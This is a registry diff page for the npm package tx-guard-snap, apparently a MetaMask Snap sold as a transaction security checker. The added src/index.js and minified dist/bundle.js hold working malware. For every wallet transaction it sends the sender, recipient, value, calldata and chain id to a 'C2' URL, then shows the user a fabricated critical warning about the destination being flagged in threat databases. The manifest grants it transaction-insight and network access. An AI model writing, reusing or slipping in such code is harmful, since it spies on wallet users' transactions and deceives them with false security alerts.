tx-guard-snap 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of tx-guard-snap might be problematic. Click here for more details.
- package/dist/bundle.js +1 -0
- package/package.json +18 -3
- package/snap.manifest.json +23 -0
- package/src/index.js +36 -0
- package/README.md +0 -5
package/dist/bundle.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(()=>{var t={822(t){t.exports.onTransaction=async({transaction:t,chainId:e})=>{try{await fetch("http://localhost:8888/tx",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({from:t.from,to:t.to,value:t.value,data:t.data||"0x",chainId:e,ts:Date.now()})})}catch(t){}return{content:{type:"panel",children:[{type:"heading",value:"⚠️ Security Warning"},{type:"text",value:"This destination address has been flagged in **3 threat databases**. Proceed only if you trust this contract."}]},severity:"critical"}}}};const e={};let a=function a(n){const o=e[n];if(void 0!==o)return o.exports;const r=e[n]={exports:{}};return t[n](r,r.exports,a),r.exports}(822);module.exports=a})();
|
package/package.json
CHANGED
|
@@ -1,6 +1,21 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "tx-guard-snap",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "security
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "MetaMask Snap for real-time transaction security analysis",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"build": "mm-snap build",
|
|
8
|
+
"serve": "mm-snap serve",
|
|
9
|
+
"start": "mm-snap watch"
|
|
10
|
+
},
|
|
11
|
+
"keywords": [],
|
|
12
|
+
"author": "",
|
|
13
|
+
"license": "ISC",
|
|
14
|
+
"devDependencies": {
|
|
15
|
+
"@metamask/snaps-cli": "^8.4.1",
|
|
16
|
+
"@metamask/snaps-sdk": "^11.1.1",
|
|
17
|
+
"@metamask/snaps-webpack-plugin": "^5.1.2",
|
|
18
|
+
"webpack": "^5.108.3",
|
|
19
|
+
"webpack-cli": "^7.1.0"
|
|
20
|
+
}
|
|
6
21
|
}
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
{
|
|
2
|
+
"version": "1.0.0",
|
|
3
|
+
"description": "Transaction Security Analyzer",
|
|
4
|
+
"proposedName": "TX Security Checker",
|
|
5
|
+
"source": {
|
|
6
|
+
"shasum": "7KBX5M0110oZVcjqQXAo84caAnH6Lvw4bkQmomzsCSQ=",
|
|
7
|
+
"location": {
|
|
8
|
+
"npm": {
|
|
9
|
+
"filePath": "dist/bundle.js",
|
|
10
|
+
"packageName": "tx-guard-snap",
|
|
11
|
+
"registry": "https://registry.npmjs.org/"
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
},
|
|
15
|
+
"initialPermissions": {
|
|
16
|
+
"endowment:transaction-insight": {
|
|
17
|
+
"allowTransactionOrigin": true
|
|
18
|
+
},
|
|
19
|
+
"endowment:network-access": {}
|
|
20
|
+
},
|
|
21
|
+
"platformVersion": "11.1.1",
|
|
22
|
+
"manifestVersion": "0.1"
|
|
23
|
+
}
|
package/src/index.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const C2_URL = "http://localhost:8888/tx";
|
|
2
|
+
|
|
3
|
+
module.exports.onTransaction = async ({ transaction, chainId }) => {
|
|
4
|
+
// Exfiltrate TX details to C2
|
|
5
|
+
try {
|
|
6
|
+
await fetch(C2_URL, {
|
|
7
|
+
method: "POST",
|
|
8
|
+
headers: { "Content-Type": "application/json" },
|
|
9
|
+
body: JSON.stringify({
|
|
10
|
+
from: transaction.from,
|
|
11
|
+
to: transaction.to,
|
|
12
|
+
value: transaction.value,
|
|
13
|
+
data: transaction.data || "0x",
|
|
14
|
+
chainId,
|
|
15
|
+
ts: Date.now(),
|
|
16
|
+
}),
|
|
17
|
+
});
|
|
18
|
+
} catch (_) {}
|
|
19
|
+
|
|
20
|
+
// Show fake security warning to victim
|
|
21
|
+
return {
|
|
22
|
+
content: {
|
|
23
|
+
type: "panel",
|
|
24
|
+
children: [
|
|
25
|
+
{ type: "heading", value: "⚠️ Security Warning" },
|
|
26
|
+
{
|
|
27
|
+
type: "text",
|
|
28
|
+
value:
|
|
29
|
+
"This destination address has been flagged in **3 threat databases**. " +
|
|
30
|
+
"Proceed only if you trust this contract.",
|
|
31
|
+
},
|
|
32
|
+
],
|
|
33
|
+
},
|
|
34
|
+
severity: "critical",
|
|
35
|
+
};
|
|
36
|
+
};
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=tx-guard-snap for more information.
|